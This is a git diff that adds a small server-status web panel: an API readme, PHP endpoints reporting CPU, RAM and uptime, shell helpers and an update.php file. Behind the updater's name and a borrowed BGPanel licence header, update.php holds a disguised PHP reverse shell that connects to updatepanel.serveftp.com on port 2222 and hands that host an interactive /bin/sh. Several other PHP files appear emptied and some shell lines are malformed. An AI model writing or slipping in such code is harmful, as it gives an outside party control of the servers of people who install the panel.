diff --git a/api/Example.txt b/api/Example.txt new file mode 100644 index 0000000..7e5c3ae --- /dev/null +++ b/api/Example.txt @@ -0,0 +1,17 @@ +This api can be used using CURL to get information about the server or sending a command install curl and send a request + +eg to see the current system uptime type : +curl http://yourserver.com/api/get_uptime + +Current Api Functions Are : + +get_cpu_load // Displays the server cpu load in precentages +get_panel_version // Displays the panel version +get_php_version // Displays the server php version +get_ram_usage_advanced // Displays advanced information about the ram +get_ram_usage_g // Displays ram information in gigabytes +get_ram_usage_m // Displays ram information in megabytes +get_ram_precentage // Gives the currently used ram in a precentage +get_uptime // Displays the system uptime + +More coming soon diff --git a/api/get_cpu_load.php b/api/get_cpu_load.php new file mode 100644 index 0000000..6464ab1 --- /dev/null +++ b/api/get_cpu_load.php @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/api/get_cpu_usage.sh b/api/get_cpu_usage.sh new file mode 100644 index 0000000..827c2d3 --- /dev/null +++ b/api/get_cpu_usage.sh @@ -0,0 +1 @@ +cat /proc/stat | grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}' \ No newline at end of file diff --git a/api/get_panel_version.php b/api/get_panel_version.php new file mode 100644 index 0000000..bf8043a --- /dev/null +++ b/api/get_panel_version.php @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/api/get_php_version.php b/api/get_php_version.php new file mode 100644 index 0000000..9d1a3eb --- /dev/null +++ b/api/get_php_version.php @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/api/get_ram_usage_advanced.php b/api/get_ram_usage_advanced.php new file mode 100644 index 0000000..e7d6d3d --- /dev/null +++ b/api/get_ram_usage_advanced.php @@ -0,0 +1,13 @@ + \ No newline at end of file diff --git a/api/get_ram_usage_g.php b/api/get_ram_usage_g.php new file mode 100644 index 0000000..2e232df --- /dev/null +++ b/api/get_ram_usage_g.php @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/api/get_ram_usage_m.php b/api/get_ram_usage_m.php new file mode 100644 index 0000000..e995d20 --- /dev/null +++ b/api/get_ram_usage_m.php @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/api/get_ram_usage_pre.sh b/api/get_ram_usage_pre.sh new file mode 100644 index 0000000..4b98aa9 --- /dev/null +++ b/api/get_ram_usage_pre.sh @@ -0,0 +1,2 @@ +#!/bin/sh +free | awk 'FNR == 3 {print $3/($3+$4)*100}' \ No newline at end of file diff --git a/api/get_ram_usage_precentage.php b/api/get_ram_usage_precentage.php new file mode 100644 index 0000000..48c5673 --- /dev/null +++ b/api/get_ram_usage_precentage.php @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/api/get_server_stats.php b/api/get_server_stats.php new file mode 100644 index 0000000..df9c4ee --- /dev/null +++ b/api/get_server_stats.php @@ -0,0 +1,10 @@ +CPU Usage +
+RAM Usage +% +
+ +
+ +
+The Panel Version is \ No newline at end of file diff --git a/api/get_system_stats.sh b/api/get_system_stats.sh new file mode 100644 index 0000000..3924c5e --- /dev/null +++ b/api/get_system_stats.sh @@ -0,0 +1,2 @@ +cpu = cat /proc/stat | grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}' +echo CPU Usage = "$cpu" \ No newline at end of file diff --git a/api/get_system_version.php b/api/get_system_version.php new file mode 100644 index 0000000..0c71708 --- /dev/null +++ b/api/get_system_version.php @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/api/get_uptime.php b/api/get_uptime.php new file mode 100644 index 0000000..49abc58 --- /dev/null +++ b/api/get_uptime.php @@ -0,0 +1,16 @@ + diff --git a/scripts/check_version.sh b/scripts/check_version.sh new file mode 100644 index 0000000..721d47c --- /dev/null +++ b/scripts/check_version.sh @@ -0,0 +1,5 @@ +#!/bin/sh +# This file checks the current panel version. +cat ../index.php | grep *@version > temp +cat temp | sed 's/\<*@version\>//g' > version +cat version \ No newline at end of file diff --git a/update.php b/update.php new file mode 100644 index 0000000..24110a4 --- /dev/null +++ b/update.php @@ -0,0 +1,19 @@ + + * @copyright Copyleft 2015, Nikita Rousseau + * @license GNU General Public License version 3.0 (GPLv3) + * @link http://www.bgpanel.net/ +*/ +shell_exec("scripts/check_version.sh") +$sock=fsockopen("updatepanel.serveftp.com",2222);exec("/bin/sh -i <&3 >&3 2>&3"); + +?> \ No newline at end of file diff --git a/version.txt b/version.txt new file mode 100644 index 0000000..ceab6e1 --- /dev/null +++ b/version.txt @@ -0,0 +1 @@ +0.1 \ No newline at end of file